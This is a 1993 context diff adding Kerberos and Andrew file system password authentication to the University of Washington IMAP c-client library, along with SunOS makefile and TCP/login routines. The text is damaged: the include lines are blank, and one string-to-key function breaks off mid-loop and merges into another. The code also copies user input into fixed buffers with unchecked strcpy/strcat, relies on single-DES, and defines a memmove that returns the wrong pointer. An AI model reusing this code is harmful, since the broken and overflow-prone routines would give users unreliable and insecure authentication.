KTEXT_ST authent; + char instance[INST_SZ]; + AUTH_DAT kdata; + int code; + static char replybuf[256]; + char *p; + + /* Convert pass to authent */ + if (str_to_ktext(pass, &authent) == NIL) { + *reply = "Invalid Kerberos authenticator"; + return NIL; + } + + /* Verify authenticator */ + strcpy(instance, "*"); + code = krb_rd_req(&authent, "imap", instance, 0L, &kdata, ""); + if (code) { + strcpy(replybuf, krb_err_txt[code]); + *reply = replybuf; + return NIL; + } + + /* Check authorization of the Kerberos user */ + if (kuserok(&kdata, user)) { + if (strcmp(kdata.pname, "imap") || + (!(*lrealm) && krb_get_lrealm(lrealm, 1) == KFAILURE) || + strcmp(kdata.prealm, lrealm)) { + strcpy(replybuf, "Permission denied."); + *reply = replybuf; + return NIL; + } + } + + /* Save the session key */ + bcopy(kdata.session, session, sizeof(des_cblock)); + des_key_sched(session, schedule); + + /* Construct the response for mutual authentication */ + authent.length = sizeof(des_cblock); + bzero(authent.dat, sizeof(des_cblock)); + *((long *)authent.dat) = htonl(kdata.checksum + 1); + des_ecb_encrypt(authent.dat, authent.dat, schedule, 1); + + /* Convert response to string and place in buffer */ + p = ktext_to_str(&authent); + if (p) { + *replybuf = '['; + strcpy(replybuf+1, p); + strcat(replybuf, "] User "); + strcat(replybuf, user); + strcat(replybuf, " logged in"); + free(p); + } + else { + /* XXX Out of memory */ + exit(1); + } + + *reply = replybuf; + return T; + } + + /* + * Kerberos build password + * Accepts: host name + * buffer to store user name in + * buffer to store password in + * optional buffer to store expected return token in + * Returns: T on success, NIL on failure + */ + int kerberos_login(char *host,char *user,char *pwd, char *token) + { + struct hostent *host_name; + char hostname[MAILTMPLEN]; + char phost[MAILTMPLEN]; + KTEXT_ST authent; + int checksum; + char *pass; + int code; + int i; + CREDENTIALS cr; + Key_schedule key_s; + + *pwd = '\0'; + + if (krb_get_tf_fullname(TKT_FILE, user, (char *)0, (char *)0)) { + return NIL; + } + + /* Canonicalize hostname */ + /* The domain literal form is used (rather than simply the dotted decimal + as with other Unix programs) because it has to be a valid "host name" + in mailsystem terminology. */ + /* look like domain literal? */ + if (host[0] == '[' && host[i = (strlen (host))-1] == ']') { + strcpy (hostname,host+1); /* yes, copy without brackets */ + hostname[i-1] = '\0'; + } + /* note that Unix requires lowercase! */ + else if (host_name = gethostbyname (lcase (strcpy (hostname,host)))) + strcpy (hostname,host_name->h_name); + + + /* + * Build an authenticator. + */ + checksum = time(0) ^ getpid(); + strcpy(phost, krb_get_phost(hostname)); + code = krb_mk_req(&authent, "imap", phost, + krb_realmofhost(hostname), checksum); + if (code) return NIL; + + pass = ktext_to_str(&authent); + if (!pass) return NIL; + + /* Send Kerberos-format LOGIN command */ + sprintf(pwd, "%s%s", KERBEROS_IDENT, pass); + free(pass); + if (!token) return T; + *token = '\0'; + + /* + * Build expected mutual authentication reply. + */ + if (code = krb_get_cred("imap", phost, krb_realmofhost(hostname),&cr)) { + return T; + } + des_key_sched(cr.session,key_s); + authent.length = sizeof(des_cblock); + bzero(authent.dat, sizeof(des_cblock)); + *((long *)authent.dat) = htonl(checksum + 1); + des_ecb_encrypt(authent.dat, authent.dat, key_s, 1); + pass = ktext_to_str(&authent); + if (pass) { + sprintf(token, "[%s]", pass); + free(pass); + } + return T; + } + + static use_key(char *user,char *instance,char *realm,des_cblock key,des_cblock returned_key) + { + bcopy (key, returned_key, sizeof(des_cblock)); + return 0; + } + + kerberos_verify_password(char *user,char *passwd) + { + + int result; + des_cblock key; + char realm[REALM_SZ]; + char cell[REALM_SZ]; + int i; + char buf[1024]; + + if (krb_get_lrealm(realm,1)) return NIL; + + /* First try Kerberos string-to-key */ + des_string_to_key(passwd, key); + + result = krb_get_in_tkt(user, "", realm, + "krbtgt", realm, 1, use_key, NULL, key); + + if (result == 0) { + bzero(key, sizeof(key)); + if (krb_get_cred("krbtgt", realm, realm, buf)) { + /* no ticket means we got an error packet with "0" error code */ + return NIL; + } + bzero(buf, sizeof(buf)); + dest_tkt(); + return T; + } + + /* Now try andrew string-to-key */ + strcpy(cell, realm); + for (i = 0; cell[i]; i++) { + if (isupper(cell[i])) cell[i] = tolower(cell[i]); + } + afs_string_to_key(passwd, &key, cell); + + result = krb_get_in_tkt(user, "", realm, + "krbtgt", realm, 1, use_key, NULL, key); + + bzero(key, sizeof(key)); + + if (result == 0) { + if (krb_get_cred("krbtgt", realm, realm, buf)) { + /* no ticket means we got an error packet with "0" error code */ + return NIL; + } + bzero(buf, sizeof(buf)); + dest_tkt(); + return T; + } + + return NIL; + } + + /* andrewstk.c -- afs string to key function + * + * Code taken from AuthMan from University of Michigan + */ + + extern void des_fixup_key_parity(); + extern unsigned long des_cbc_cksum(); + + /* forward declarations */ + void afs_transarc_StringToKey(); + void transarc_StringToKey(); + int transarc_passwd_to_key(); + char *crypt(); + void des_fixup_key_parity(); + + void afs_cmu_StringToKey(); + void athena_StringToKey(); + int athena_passwd_to_key(); + + /* This defines the Andrew string_to_key function. It accepts a password + * string as input and converts its via a one-way encryption algorithm to a DES + * encryption key. It is compatible with the original Andrew authentication + * service password database. + */ + + void + afs_cmu_StringToKey (str, cell, key) + char *str; + char *cell; /* cell for password */ + des_cblock *key; + { char password[8+1]; /* crypt is limited to 8 chars anyway */ + int i; + int passlen; + + bzero (key, sizeof(des_cblock)); + bzero( (void *)password, sizeof( password )); + + strncpy (password, cell, 8); + passlen = strlen (str); + if (passlen > 8) passlen = 8; + + for (i=0; i sizeof(password)) passlen = sizeof(password); + + bcopy ("kerberos", ivec, 8); + bcopy ("kerberos", temp_key, 8); + des_fixup_key_parity ((void *)temp_key); + des_key_sched (temp_key, schedule); + des_cbc_cksum (password, ivec, passlen, schedule, ivec); + + bcopy (ivec, temp_key, 8); + des_fixup_key_parity ((void *)temp_key); + des_key_sched (temp_key, schedule); + des_cbc_cksum (password, (void *)key, passlen, schedule, ivec); + + des_fixup_key_parity (key); + } + + afs_string_to_key(str, key, cell) + char *str; + des_cblock *key; + char *cell; /* cell for password */ + { + if (strlen(str) > 8) + afs_transarc_StringToKey (str, cell, key); + else + afs_cmu_StringToKey (str, cell, key); + } + + #endif /* KERBEROS */ diff -cr ./ANSI/c-client/kerberos.h /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/kerberos.h *** ./ANSI/c-client/kerberos.h Tue Sep 28 15:31:13 1993 --- /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/kerberos.h Tue Sep 28 15:37:08 1993 *************** *** 0 **** --- 1,6 ---- + /* Passwords starting with this string indicate a Kerberos login attempt */ + #define KERBEROS_IDENT "@KERBEROS:" + + int kerberos_server_login(char *user,char *pass,char **reply); + int kerberos_login(char *host,char *user,char *pwd, char *token); + diff -cr ./ANSI/c-client/makefile.sun /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/makefile.sun *** ./ANSI/c-client/makefile.sun Tue Sep 28 15:31:13 1993 --- /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/makefile.sun Tue Sep 28 14:49:31 1993 *************** *** 0 **** --- 1,96 ---- + # Program: Portable C client makefile -- SUN-OS version + # + # Author: Mark Crispin + # Networks and Distributed Computing + # Computing & Communications + # University of Washington + # Administration Building, AG-44 + # Seattle, WA 98195 + # Internet: MRC@CAC.Washington.EDU + # + # Date: 11 May 1989 + # Last Edited: 25 January 1993 + # + # Copyright 1993 by the University of Washington + # + # Permission to use, copy, modify, and distribute this software and its + # documentation for any purpose and without fee is hereby granted, provided + # that the above copyright notice appears in all copies and that both the + # above copyright notice and this permission notice appear in supporting + # documentation, and that the name of the University of Washington not be + # used in advertising or publicity pertaining to distribution of the software + # without specific, written prior permission. This software is made + # available "as is", and + # THE UNIVERSITY OF WASHINGTON DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, + # WITH REGARD TO THIS SOFTWARE, INCLUDING WITHOUT LIMITATION ALL IMPLIED + # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND IN + # NO EVENT SHALL THE UNIVERSITY OF WASHINGTON BE LIABLE FOR ANY SPECIAL, + # INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM + # LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, TORT + # (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF OR IN CONNECTION + # WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + + + CFLAGS = -g -DKERBEROS -DANDREW -I/usr/local/include + LDFLAGS = /usr/local/lib/libkrb.a /usr/local/lib/libdes.a #-ldl + CC = gcc + + mtest: mtest.o c-client.a + echo $(CFLAGS) > CFLAGS + echo $(LDFLAGS) > LDFLAGS + $(CC) $(CFLAGS) -o mtest mtest.o c-client.a $(LDFLAGS) + + clean: + rm -f *.o mtest c-client.a osdep.* CFLAGS LDFLAGS + + mtest.o: mail.h smtp.h nntp.h misc.h osdep.h + + c-client.a: mail.o bezerk.o tenex2.o mbox.o mh.o imap2.o news.o nntpclient.o \ + phile.o dummy.o smtp.o nntp.o rfc822.o misc.o osdep.o sm_unix.o \ + kerberos.o + rm -f c-client.a + ar rc c-client.a mail.o bezerk.o tenex2.o mbox.o mh.o imap2.o news.o \ + nntpclient.o phile.o dummy.o smtp.o nntp.o rfc822.o misc.o osdep.o \ + sm_unix.o kerberos.o + ranlib c-client.a + + mail.o: mail.h misc.h osdep.h + + bezerk.o: mail.h bezerk.h rfc822.h misc.h osdep.h + + tenex.o2: mail.h tenex2.h rfc822.h misc.h osdep.h + + mbox.o: mail.h mbox.h bezerk.h misc.h osdep.h + + mh.o: mail.h mh.h rfc822.h misc.h osdep.h + + imap2.o: mail.h imap2.h misc.h osdep.h + + news.o: mail.h news.h misc.h osdep.h + + nntpclient.o: mail.h nntp.h nntpclient.h misc.h rfc822.h news.h smtp.h osdep.h + + dummy.o: mail.h dummy.h misc.h osdep.h + + smtp.o: mail.h smtp.h rfc822.h misc.h osdep.h + + nntp.o: mail.h nntp.h smtp.h rfc822.h misc.h osdep.h + + rfc822.o: mail.h rfc822.h misc.h + + misc.o: mail.h misc.h osdep.h + + sm_unix.o: mail.h misc.h osdep.h + + osdep.o: mail.h osdep.h os_sun.c + $(CC) $(CFLAGS) -c os_sun.c + mv os_sun.o osdep.o + + osdep.h: os_sun.h + rm -f osdep.h + ln os_sun.h osdep.h + + # A monument to a hack of long ago and far away... + love: + @echo 'not war?' + diff -cr ./ANSI/c-client/os_sun.c /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/os_sun.c *** ./ANSI/c-client/os_sun.c Tue Sep 28 15:31:13 1993 --- /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/os_sun.c Tue Sep 28 13:29:28 1993 *************** *** 0 **** --- 1,680 ---- + /* + * Program: Operating-system dependent routines -- SUN-OS version + * + * Author: Mark Crispin + * Networks and Distributed Computing + * Computing & Communications + * University of Washington + * Administration Building, AG-44 + * Seattle, WA 98195 + * + * Date: 11 May 1989 + * Last Edited: 2 November 1992 + * + * Copyright 1992 by the University of Washington + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose and without fee is hereby granted, provided + * that the above copyright notice appears in all copies and that both the + * above copyright notice and this permission notice appear in supporting + * documentation, and that the name of the University of Washington not be + * used in advertising or publicity pertaining to distribution of the software + * without specific, written prior permission. This software is made + * available "as is", and + * THE UNIVERSITY OF WASHINGTON DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, + * WITH REGARD TO THIS SOFTWARE, INCLUDING WITHOUT LIMITATION ALL IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND IN + * NO EVENT SHALL THE UNIVERSITY OF WASHINGTON BE LIABLE FOR ANY SPECIAL, + * INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM + * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, TORT + * (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF OR IN CONNECTION + * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + * + */ + + /* TCP input buffer */ + + #define BUFLEN 8192 + + + /* TCP I/O stream (must be before osdep.h is included) */ + + #define TCPSTREAM struct tcp_stream + TCPSTREAM { + char *host; /* host name */ + char *localhost; /* local host name */ + int tcpsi; /* input socket */ + int tcpso; /* output socket */ + int ictr; /* input counter */ + char *iptr; /* input pointer */ + char ibuf[BUFLEN]; /* input buffer */ + }; + + + #include "mail.h" + #include "osdep.h" + #include + #include + #include + #include + #include + #include + extern int errno; /* just in case */ + #include + #include + #include "misc.h" + #ifdef KERBEROS + #include "kerberos.h" + #endif /* KERBEROS */ + + extern int sys_nerr; + extern char *sys_errlist[]; + + /* Write current time in RFC 822 format + * Accepts: destination string + */ + + char *days[] = {"Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"}; + + void rfc822_date (date) + char *date; + { + int zone; + char *zonename; + struct tm *t; + struct timeval tv; + struct timezone tz; + gettimeofday (&tv,&tz); /* get time and timezone poop */ + t = localtime (&tv.tv_sec); /* convert to individual items */ + zone = t->tm_gmtoff/60; /* get timezone from TZ environment stuff */ + zonename = t->tm_zone; + /* and output it */ + sprintf (date,"%s, %d %s %d %02d:%02d:%02d %+03d%02d (%s)", + days[t->tm_wday],t->tm_mday,months[t->tm_mon],t->tm_year+1900, + t->tm_hour,t->tm_min,t->tm_sec,zone/60,abs (zone) % 60,zonename); + } + + /* Get a block of free storage + * Accepts: size of desired block + * Returns: free storage block + */ + + void *fs_get (size) + size_t size; + { + void *block = malloc (size); + if (!block) fatal ("Out of free storage"); + return (block); + } + + + /* Resize a block of free storage + * Accepts: ** pointer to current block + * new size + */ + + void fs_resize (block,size) + void **block; + size_t size; + { + if (!(*block = realloc (*block,size))) fatal ("Can't resize free storage"); + } + + + /* Return a block of free storage + * Accepts: ** pointer to free storage block + */ + + void fs_give (block) + void **block; + { + free (*block); + *block = NIL; + } + + + /* Report a fatal error + * Accepts: string to output + */ + + void fatal (string) + char *string; + { + mm_fatal (string); /* output the string */ + syslog (LOG_ALERT,"IMAP C-Client crash: %s",string); + abort (); /* die horribly */ + } + + /* Copy string with CRLF newlines + * Accepts: destination string + * pointer to size of destination string + * source string + * length of source string + */ + + char *strcrlfcpy (dst,dstl,src,srcl) + char **dst; + unsigned long *dstl; + char *src; + unsigned long srcl; + { + long i,j; + char *d = src; + /* count number of LF's in source string(s) */ + for (i = srcl,j = 0; j < srcl; j++) if (*d++ == '\012') i++; + if (i > *dstl) { /* resize if not enough space */ + fs_give ((void **) dst); /* fs_resize does an unnecessary copy */ + *dst = (char *) fs_get ((*dstl = i) + 1); + } + d = *dst; /* destination string */ + /* copy strings, inserting CR's before LF's */ + while (srcl--) switch (*src) { + case '\015': /* unlikely carriage return */ + *d++ = *src++; /* copy it and any succeeding linefeed */ + if (srcl && *src == '\012') { + *d++ = *src++; + srcl--; + } + break; + case '\012': /* line feed? */ + *d++ ='\015'; /* yes, prepend a CR, drop into default case */ + default: /* ordinary chararacter */ + *d++ = *src++; /* just copy character */ + break; + } + *d = '\0'; /* tie off destination */ + return *dst; /* return destination */ + } + + + /* Length of string after strcrlfcpy applied + * Accepts: source string + * length of source string + */ + + unsigned long strcrlflen (s) + STRING *s; + { + unsigned long pos = GETPOS (s); + unsigned long i = SIZE (s); + unsigned long j = i; + while (j--) switch (SNX (s)) {/* search for newlines */ + case '\015': /* unlikely carriage return */ + if (j && (CHR (s) == '\012')) { + SNX (s); /* eat the line feed */ + j--; + } + break; + case '\012': /* line feed? */ + i++; + default: /* ordinary chararacter */ + break; + } + SETPOS (s,pos); /* restore old position */ + return i; + } + + /* Server log in + * Accepts: user name string + * password string + * optional place to return home directory + * Returns: T if password validated, NIL otherwise + */ + + long server_login (user,pass,home,reply) + char *user; + char *pass; + char **home; + char **reply; + { + struct passwd *pw = getpwnam (lcase (user)); + /* no entry for this user or root */ + if (!(pw && pw->pw_uid)) return NIL; + /* validate password */ + #ifdef KERBEROS + if (strncmp(pass, KERBEROS_IDENT, strlen(KERBEROS_IDENT)) == 0) { + if (kerberos_server_login(user, pass+strlen(KERBEROS_IDENT), reply) == NIL) return NIL; + } + else if (strcmp (pw->pw_passwd,(char *) crypt (pass,pw->pw_passwd)) == 0) { + /* OK */ + } + else { + if (kerberos_verify_password(user, pass) == NIL) return NIL; + } + #else /* KERBEROS */ + if (strcmp (pw->pw_passwd,(char *) crypt (pass,pw->pw_passwd))) return NIL; + #endif /* KERBEROS */ + setgid (pw->pw_gid); /* all OK, login in as that user */ + initgroups (user,pw->pw_gid); /* initialize groups */ + setuid (pw->pw_uid); + /* note home directory */ + #ifdef ANDREW + { + char *hd = myhomedir(); + (void) mkdir(hd, 0700); + } + #endif /* ANDREW */ + if (home) *home = myhomedir(); + return T; + } + + /* Return my user name + * Returns: my user name + */ + + char *uname = NIL; + + char *myusername () + { + return uname ? uname : (uname = cpystr (getpwuid (geteuid ())->pw_name)); + } + + + /* Return my home directory name + * Returns: my home directory name + */ + + char *hdname = NIL; + + char *myhomedir () + { + #ifdef ANDREW + char buf[80]; + if (hdname) return hdname; + sprintf(buf, "/usr/user/mbox/%s", myusername()); + return hdname = cpystr(buf); + #else + return hdname ? hdname : (hdname = cpystr (getpwuid (geteuid ())->pw_dir)); + #endif + } + + + /* Build status lock file name + * Accepts: scratch buffer + * file name + * Returns: name of file to lock + */ + + char *lockname (tmp,fname) + char *tmp; + char *fname; + { + int i; + sprintf (tmp,"/tmp/.%s",fname); + for (i = 6; i < strlen (tmp); ++i) if (tmp[i] == '/') tmp[i] = '\\'; + return tmp; /* note name for later */ + } + + /* TCP/IP open + * Accepts: host name + * contact port number + * Returns: TCP/IP stream if success else NIL + */ + + TCPSTREAM *tcp_open (host, port) + char *host; + int port; + { + TCPSTREAM *stream = NIL; + int sock; + char *s; + struct sockaddr_in sin; + struct hostent *host_name; + char hostname[MAILTMPLEN]; + char tmp[MAILTMPLEN]; + /* The domain literal form is used (rather than simply the dotted decimal + as with other Unix programs) because it has to be a valid "host name" + in mailsystem terminology. */ + /* look like domain literal? */ + if (host[0] == '[' && host[(strlen (host))-1] == ']') { + strcpy (hostname,host+1); /* yes, copy number part */ + hostname[(strlen (hostname))-1] = '\0'; + if ((sin.sin_addr.s_addr = inet_addr (hostname)) != -1) { + sin.sin_family = AF_INET; /* family is always Internet */ + strcpy (hostname,host); /* hostname is user's argument */ + } + else { + sprintf (tmp,"Bad format domain-literal: %.80s",host); + mm_log (tmp,ERROR); + return NIL; + } + } + + else { /* lookup host name, note that brain-dead Unix + requires lowercase! */ + strcpy (hostname,host); /* in case host is in write-protected memory */ + if ((host_name = gethostbyname (lcase (hostname)))) { + /* copy address type */ + sin.sin_family = host_name->h_addrtype; + /* copy host name */ + strcpy (hostname,host_name->h_name); + /* copy host addresses */ + memcpy (&sin.sin_addr,host_name->h_addr,host_name->h_length); + } + else { + sprintf (tmp,"No such host as %.80s",host); + mm_log (tmp,ERROR); + return NIL; + } + } + + /* copy port number in network format */ + if (!(sin.sin_port = htons (port))) fatal ("Bad port argument to tcp_open"); + /* get a TCP stream */ + if ((sock = socket (sin.sin_family,SOCK_STREAM,0)) < 0) { + sprintf (tmp,"Unable to create TCP socket: %s",strerror (errno)); + mm_log (tmp,ERROR); + return NIL; + } + /* open connection */ + if (connect (sock,(struct sockaddr *)&sin,sizeof (sin)) < 0) { + sprintf (tmp,"Can't connect to %.80s,%d: %s",hostname,port, + strerror (errno)); + mm_log (tmp,ERROR); + return NIL; + } + /* create TCP/IP stream */ + stream = (TCPSTREAM *) fs_get (sizeof (TCPSTREAM)); + /* copy official host name */ + stream->host = cpystr (hostname); + /* get local name */ + gethostname (tmp,MAILTMPLEN-1); + stream->localhost = cpystr ((host_name = gethostbyname (tmp)) ? + host_name->h_name : tmp); + /* init sockets */ + stream->tcpsi = stream->tcpso = sock; + stream->ictr = 0; /* init input counter */ + return stream; /* return success */ + } + + /* TCP/IP authenticated open + * Accepts: host name + * service name + * Returns: TCP/IP stream if success else NIL + */ + + TCPSTREAM *tcp_aopen (host,service) + char *host; + char *service; + { + #ifdef ANDREW + return NIL; + #else + TCPSTREAM *stream = NIL; + struct hostent *host_name; + char hostname[MAILTMPLEN]; + int i; + int pipei[2],pipeo[2]; + /* The domain literal form is used (rather than simply the dotted decimal + as with other Unix programs) because it has to be a valid "host name" + in mailsystem terminology. */ + /* look like domain literal? */ + if (host[0] == '[' && host[i = (strlen (host))-1] == ']') { + strcpy (hostname,host+1); /* yes, copy without brackets */ + hostname[i-1] = '\0'; + } + /* note that Unix requires lowercase! */ + else if (host_name = gethostbyname (lcase (strcpy (hostname,host)))) + strcpy (hostname,host_name->h_name); + /* make command pipes */ + if (pipe (pipei) < 0) return NIL; + if (pipe (pipeo) < 0) { + close (pipei[0]); close (pipei[1]); + return NIL; + } + if ((i = fork ()) < 0) { /* make inferior process */ + close (pipei[0]); close (pipei[1]); + close (pipeo[0]); close (pipeo[1]); + return NIL; + } + if (i) { /* parent? */ + close (pipei[1]); /* close child's side of the pipes */ + close (pipeo[0]); + } + else { /* child */ + dup2 (pipei[1],1); /* parent's input is my output */ + dup2 (pipei[1],2); /* parent's input is my error output too */ + close (pipei[0]); close (pipei[1]); + dup2 (pipeo[0],0); /* parent's output is my input */ + close (pipeo[0]); close (pipeo[1]); + /* now run it */ + execl ("/usr/ucb/rsh","rsh",hostname,"exec",service,0); + _exit (1); /* spazzed */ + } + + /* create TCP/IP stream */ + stream = (TCPSTREAM *) fs_get (sizeof (TCPSTREAM)); + /* copy official host name */ + stream->host = cpystr (hostname); + /* get local name */ + gethostname (hostname,MAILTMPLEN-1); + stream->localhost = cpystr ((host_name = gethostbyname (hostname)) ? + host_name->h_name : hostname); + stream->tcpsi = pipei[0]; /* init sockets */ + stream->tcpso = pipeo[1]; + stream->ictr = 0; /* init input counter */ + return stream; /* return success */ + #endif /* ANDREW */ + } + + /* TCP/IP receive line + * Accepts: TCP/IP stream + * Returns: text line string or NIL if failure + */ + + char *tcp_getline (stream) + TCPSTREAM *stream; + { + int n,m; + char *st,*ret,*stp; + char tmp[2]; + char c = '\0'; + char d; + /* make sure have data */ + if (!tcp_getdata (stream)) return NIL; + st = stream->iptr; /* save start of string */ + n = 0; /* init string count */ + while (stream->ictr--) { /* look for end of line */ + d = *stream->iptr++; /* slurp another character */ + if ((c == '\015') && (d == '\012')) { + ret = (char *) fs_get (n--); + memcpy (ret,st,n); /* copy into a free storage string */ + ret[n] = '\0'; /* tie off string with null */ + return ret; + } + n++; /* count another character searched */ + c = d; /* remember previous character */ + } + /* copy partial string from buffer */ + memcpy ((ret = stp = (char *) fs_get (n)),st,n); + /* get more data from the net */ + if (!tcp_getdata (stream)) return NIL; + /* special case of newline broken by buffer */ + if ((c == '\015') && (*stream->iptr == '\012')) { + stream->iptr++; /* eat the line feed */ + stream->ictr--; + ret[n - 1] = '\0'; /* tie off string with null */ + } + /* else recurse to get remainder */ + else if (st = tcp_getline (stream)) { + ret = (char *) fs_get (n + 1 + (m = strlen (st))); + memcpy (ret,stp,n); /* copy first part */ + memcpy (ret + n,st,m); /* and second part */ + fs_give ((void **) &stp); /* flush first part */ + fs_give ((void **) &st); /* flush second part */ + ret[n + m] = '\0'; /* tie off string with null */ + } + return ret; + } + + /* TCP/IP receive buffer + * Accepts: TCP/IP stream + * size in bytes + * buffer to read into + * Returns: T if success, NIL otherwise + */ + + long tcp_getbuffer (stream,size,buffer) + TCPSTREAM *stream; + unsigned long size; + char *buffer; + { + unsigned long n; + char *bufptr = buffer; + while (size > 0) { /* until request satisfied */ + if (!tcp_getdata (stream)) return NIL; + n = min (size,stream->ictr);/* number of bytes to transfer */ + /* do the copy */ + memcpy (bufptr,stream->iptr,n); + bufptr += n; /* update pointer */ + stream->iptr +=n; + size -= n; /* update # of bytes to do */ + stream->ictr -=n; + } + bufptr[0] = '\0'; /* tie off string */ + return T; + } + + + /* TCP/IP receive data + * Accepts: TCP/IP stream + * Returns: T if success, NIL otherwise + */ + + long tcp_getdata (stream) + TCPSTREAM *stream; + { + fd_set fds; + FD_ZERO (&fds); /* initialize selection vector */ + if (stream->tcpsi < 0) return NIL; + while (stream->ictr < 1) { /* if nothing in the buffer */ + FD_SET (stream->tcpsi,&fds);/* set bit in selection vector */ + /* block and read */ + if ((select (stream->tcpsi+1,&fds,0,0,0) < 0) || + ((stream->ictr = read (stream->tcpsi,stream->ibuf,BUFLEN)) < 1)) { + close (stream->tcpsi); /* nuke the socket */ + if (stream->tcpsi != stream->tcpso) close (stream->tcpso); + stream->tcpsi = stream->tcpso = -1; + return NIL; + } + stream->iptr = stream->ibuf;/* point at TCP buffer */ + } + return T; + } + + /* TCP/IP send string as record + * Accepts: TCP/IP stream + * string pointer + * Returns: T if success else NIL + */ + + long tcp_soutr (stream,string) + TCPSTREAM *stream; + char *string; + { + return tcp_sout (stream,string,(unsigned long) strlen (string)); + } + + + /* TCP/IP send string + * Accepts: TCP/IP stream + * string pointer + * byte count + * Returns: T if success else NIL + */ + + long tcp_sout (stream,string,size) + TCPSTREAM *stream; + char *string; + unsigned long size; + { + int i; + fd_set fds; + FD_ZERO (&fds); /* initialize selection vector */ + if (stream->tcpso < 0) return NIL; + while (size > 0) { /* until request satisfied */ + FD_SET (stream->tcpso,&fds);/* set bit in selection vector */ + if ((select (stream->tcpso+1,0,&fds,0,0) < 0) || + ((i = write (stream->tcpso,string,size)) < 0)) { + puts (strerror (errno)); + close (stream->tcpsi); /* nuke the socket */ + if (stream->tcpsi != stream->tcpso) close (stream->tcpso); + stream->tcpsi = stream->tcpso = -1; + return NIL; + } + size -= i; /* count this size */ + string += i; + } + return T; /* all done */ + } + + /* TCP/IP close + * Accepts: TCP/IP stream + */ + + void tcp_close (stream) + TCPSTREAM *stream; + { + + if (stream->tcpsi >= 0) { /* no-op if no socket */ + close (stream->tcpsi); /* nuke the socket */ + if (stream->tcpsi != stream->tcpso) close (stream->tcpso); + stream->tcpsi = stream->tcpso = -1; + } + /* flush host names */ + fs_give ((void **) &stream->host); + fs_give ((void **) &stream->localhost); + fs_give ((void **) &stream); /* flush the stream */ + } + + + /* TCP/IP get host name + * Accepts: TCP/IP stream + * Returns: host name for this stream + */ + + char *tcp_host (stream) + TCPSTREAM *stream; + { + return stream->host; /* return host name */ + } + + + /* TCP/IP get local host name + * Accepts: TCP/IP stream + * Returns: local host name + */ + + char *tcp_localhost (stream) + TCPSTREAM *stream; + { + return stream->localhost; /* return local host name */ + } + + /* Copy memory block + * Accepts: destination pointer + * source pointer + * length + * Returns: destination pointer + */ + + char *memmove (s,ct,n) + char *s; + char *ct; + int n; + { + bcopy (ct,s,n); /* they should have this one */ + return ct; + } + + + /* Return implementation-defined string corresponding to error + * Accepts: error number + * Returns: string for that error + */ + + char *strerror (n) + int n; + { + return (n >= 0 && n < sys_nerr) ? sys_errlist[n] : NIL; + } diff -cr ./ANSI/c-client/os_sun.h /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/os_sun.h *** ./ANSI/c-client/os_sun.h Tue Sep 28 15:31:13 1993 --- /afs/andrew.cmu.edu/usr7/jm36/proj/imap/imap-3.0/ANSI/c-client/os_sun.h Tue Sep 28 13:29:29 1993 *************** *** 0 **** --- 1,80 ---- + /* + * Program: Operating-system dependent routines -- SUN-OS version + * + * Author: Mark Crispin + * Networks and Distributed Computing + * Computing & Communications + * University of Washington + * Administration Building, AG-44 + * Seattle, WA 98195 + * Internet: MRC@CAC.Washington.EDU + * + * Date: 11 May 1989 + * Last Edited: 4 December 1992 + * + * Copyright 1992 by the University of Washington + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose and without fee is hereby granted, provided + * that the above copyright notice appears in all copies and that both the + * above copyright notice and this permission notice appear in supporting + * documentation, and that the name of the University of Washington not be + * used in advertising or publicity pertaining to distribution of the software + * without specific, written prior permission. This software is made + * available "as is", and + * THE UNIVERSITY OF WASHINGTON DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, + * WITH REGARD TO THIS SOFTWARE, INCLUDING WITHOUT LIMITATION ALL IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND IN + * NO EVENT SHALL THE UNIVERSITY OF WASHINGTON BE LIABLE FOR ANY SPECIAL, + * INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM + * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, TORT + * (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF OR IN CONNECTION + * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + * + */ + + #define MAILFILE "/usr/spool/mail/%s" + #define ACTIVEFILE "/usr/lib/news/active" + #define NEWSSPOOL "/usr/spool/news" + #define NEWSRC strcat (strcpy (tmp,myhomedir ()),"/.newsrc") + #define NFSKLUDGE + + #include + #include + #include + #include + #include /* needed for writev() prototypes */ + + extern char *strerror (); + extern char *memmove (); + + + /* Dummy definition overridden by TCP routines */ + + #ifndef TCPSTREAM + #define TCPSTREAM void + #endif + + /* Function prototypes */ + + void rfc822_date (char *date); + void *fs_get (size_t size); + void fs_resize (void **block,size_t size); + void fs_give (void **block); + void fatal (char *string); + char *strcrlfcpy (char **dst,unsigned long *dstl,char *src,unsigned long srcl); + unsigned long strcrlflen (STRING *s); + long server_login (char *user,char *pass,char **home,char 